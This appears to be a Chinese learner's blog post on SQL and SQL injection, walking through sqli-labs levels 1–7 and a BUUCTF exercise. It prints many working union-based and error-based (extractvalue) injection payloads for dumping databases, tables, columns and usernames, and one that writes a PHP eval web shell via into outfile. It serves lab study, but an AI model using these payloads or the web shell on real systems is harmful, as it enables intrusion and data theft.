重新学sql,整个知识框架出来,之前学的太烂了
SQL是什么:
SQL 是一种操作数据库的语言,包括创建数据库、删除数据库、查询记录、修改记录、添加字段等。SQL 虽然是一种被 ANSI 标准化的语言,但是它有很多不同的实现版本。
SQL 是 Structured Query Language 的缩写,中文译为“结构化查询语言”。SQL 是一种计算机语言,用来存储、检索和修改关系型数据库中存储的数据。
SQL 是关系型数据库的标准语言,所有的关系型数据库管理系统(RDBMS),比如 MySQL、Oracle、SQL Server、MS Access、Sybase、Informix、Postgres 等,都将 SQL 作为其标准处理语言。
SQL查询语句:
SQL语句——查询_sql语句包含查询_HMTT的博客-CSDN博客
SQL查询语句大全(大佬总结,必看)-CSDN博客
SQL查询的基本结构_sql查询语句结构_Alkali!的博客-CSDN博客
SQL查询语句通常包含SELECT、FROM、WHERE等关键词,用于指定要从哪个表中检索数据,以及根据什么条件进行筛选。它还可以包括ORDER BY、GROUP BY、HING等子句,用于对结果进行排序、分组或过滤。此外,SQL查询语句还可以使用聚合函数(如SUM、COUNT、G等)来计算统计信息
具体可以参考这四个文章
SQL注入:
SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。
即:注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句
详解-1 union select 1,2,3#:
在SQL注入中,为什么union联合查询,id必须等于0_sql注入联合查询前为什么有-1_hangshao0.0的博客-CSDN博客
浅谈SQL注入中的-1‘ union select 1,2,3#_娄不夜的博客-CSDN博客
这篇写的非常细,而且写出了到底是怎么闭合的
https://download.csdn.net/blog/column/10724277/114808681 关于sql注入中的 --+
sql注入类型:
SQL注入主要就分两种类型:
1.数字型:
判断方法:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
原因:
当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的
2.字符型
判断方法:
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:
Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
原因:
当输入 and ‘1’='1时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'语法正确,逻辑判断正确,所以返回正确。
当输入 and ‘1’='2时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'语法正确,但逻辑判断错误,所以返回正确。同样可以使用假设法来验证。
其他 :
报错注入,堆叠注入,二次注入,盲注各种的其实都基于这两种注入形式,只不过是过滤的东西多了
重要函数:
group_concat()函数
GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里 的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。
GROUP_CONCAT()是MySQL数据库提供的一个聚合函数,用于将分组后的数据按照指定的顺序进行字符串拼接。它可以将多行数据合并成一个字符串,并可选地添加分隔符。
group_concat函数_lg1873868的博客-CSDN博客
information_schema
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema信息数据库介绍_豆子林的博客-CSDN博客
SQL注入流程:
1.判断SQL注入点
2.确定注入类型、闭合条件
3.判断列数
4.判断回显位
5.爆库名
6.爆表名
7.爆列名(字段名)
8.爆字段内容
分界线
介绍的差不多了,很多知识点之前不会的都有了更深的认识
———————————————————————————————————————————
SQL-labs
第一关----字符型注入
经过尝试之后确定是字符型注入,闭合条件----单引号闭合
判断列数 ?id=1' order by 4--+ 确定是3列
看回显位 ?id=-1' union select 1,2,3--+ 回显位在2,3
爆当前数据库 ?id=-1' union select 1,2,database()--+
爆所有数据库 ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
爆表 ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查user表中的列名 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
查user表中的username这一列的值 ?id=-1' union select 1,2,group_concat(username) from security.users--+
第二关----数字型注入
?id=1 and 1=1
?id=1 and 1=2 发现报错 确定是数字型注入
列数为3 ?id=1 order by 4--+
回显位是2,3 ?id=-1 union select 1,2,3--+
剩下的和第一关一样,只不过是没有单引号闭合了而已
爆当前数据库
?id=-1 union select 1,2,database()--+
爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查user表中的列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
查user表中的username这一列的值
?id=-1 union select 1,2,group_concat(username) from security.users--+
第三关----字符型注入-- ')闭合
输入?id=1',发现报错
找到闭合语句是 1') ,判断了回显位是2,3
把闭合条件改一下就ok了
爆当前数据库
?id=-1') union select 1,2,database()--+
爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查user表中的列名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
查user表中的username这一列的值
?id=-1') union select 1,2,group_concat(username) from security.users--+
第四关 ----字符型注入-- ")闭合
找到了闭合条件 是")闭合
爆当前数据库
?id=-1") union select 1,2,database()--+
爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查user表中的列名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
查user表中的username这一列的值
?id=-1") union select 1,2,group_concat(username) from security.users--+
第五关----报错注入--附知识点
报错注入
【精选】sql注入(6)报错注入-CSDN博客
SQL注入系列篇 | 报错注入 - 知乎
报错注入详解_报错注入的过程 - 全栈程序员必看
updatexml和extractvalue函数
SQL注入,xpath函数updatexml()和extractvalue()报错注入原理_extractvalue注入原理_金 帛的博客-CSDN博客
updatexml()函数分析
官方定义:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
第三个参数:new_value,String格式,替换查找到的符合条件的数据;
返回内容:若xpath正确则返回更改对象名称,否则返回xpath错误内容
说白了这个函数就是找查一个xml并替换它的名字,xpath就是xml的路径
extractvalue()函数分析
官方定义:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);返回内容:若xpath正确则返回目标XML查询的结果,否则返回xpath错误内容
说白了这个就是找一个xml并返回内容,xpath就是xml的路径
extractvalue()和updatexml()只能把32位长度的数据库信息带出来 可以通过limit分页来查询 limit(起始位置,截取数量)起始位置默认是0 可以不写
自己的理解:
报错注入主要是因为回显不像正常注入那样,所以就需要来输入语句来报错,通过报错来显示我们需要的东西
主要是利用updatexml和extractvalue函数 这两个函数都有xpath这个路径,而在xpath中,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)等特殊字符是非法的,也就会产生报错,这些特殊字符也恰好是报错注入的关键点,而当报错内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行 ---这是为什么报错注入要加0x7e,0x5e的原因
还有就是报错注入中,因为报错回显的内容一般只有32位长度的字符串,所以我们需要用到字符串截断函数截断查询的SQL语句
字符串截断函数
常用的字符串截断函数有letf、right、mid、substr等等,以最常用的mid函数为例
mid函数
函数名称:MID 主要功能:从一个文本字符串的指定位置开始,截取指定数目的字符。 使用格式:MID(text,start_num,num_chars) 参数说明:text代表一个文本字符串;start_num表示指定的起始位置;num_chars表示要截取的数目。
进行截断的时候就用mid(sql语句,32,32),mid(sql语句,64,32)
报错注入语句:
爆当前数据库
?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e))--+
?id=1' and extractvalue(null,concat(0x7e,(database()),0x7e))--+
爆所有数据库
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)))--+
爆表
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+
爆表中列名
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)))--+
爆字段内容
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)))--+
对于数据显示不全的:就可以利用mid函数,分段显示
第一段:
?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),1,31),0x7c)))--+
第二段:
?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),32,31),0x7c)))--+
做题
-------因为我的sql-labs不行,所以就用buuctf的来做
输入?id=1' 发现闭合条件 ---为单引号闭合
查3列发现回显正常
4列报错,有三列
不用看回显位了直接利用语句开爆
查当前数据库
查所有数据库
爆表 ---ctftraining
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),0x7e)))--+
爆表中列名
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)))--+
爆字段内容,发现不全
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)))--+
利用字符串截断函数-mid函数
第一段:
?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),1,31),0x7c)))--+
第二段:
?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),32,31),0x7c)))--+
第六关
输入 ?id=1" 发现闭合条件
也是报错注入,只是闭合条件改了
爆当前数据库
?id=1" and extractvalue(null,concat(0x7e,(select database()),0x7e))--+
?id=1" and extractvalue(null,concat(0x7e,(database()),0x7e))--+
爆所有数据库
?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)))--+
爆表
?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+
爆表中列名
?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)))--+
爆字段内容
?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)))--+
对于数据显示不全的:就可以利用mid函数,分段显示
第一段:
?id=1" and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),1,31),0x7c)))--+
第二段:
?id=1" and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),32,31),0x7c)))--+
第七关
发现没有报错语句,看不到闭合信息
随便输入发现不一样的东西
我直接看了源码,找到了闭合语句
它提示说是用输出文件的方式
判断列数为3
知识点
需要用到的两个函数:load_file() ----读取本地文件 into outfile----写文件
使用phpstudy 存在文件读写权限问题
在phpstduy文件 phpstudy\PHPTutorial\MySQL\my.ini 下加入secure_file_priv=“/”
Mysql文件导出和导入into outfile(),load_file() - 简书
sql注入之into outfile_into outfile 权限_JayJay_Lin的博客-CSDN博客
注入的话就是利用into outfile 这个函数
?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php" --+ 发现写进去了
接下来就可以连接蚁剑利用了
第八关
八、九、十关都涉及到了盲注,其实5,6关也可以利用盲注来做
直接就在这里把盲注的知识点总结了
SQL注入-盲注(布尔盲注与时间盲注)-CSDN博客
盲注部分先短暂略过,等差不多成脚本小子了再写脚本注
盲注还是利用sqlmap,bp抓包也是可以的,看大佬的博客就可以了,我没得实力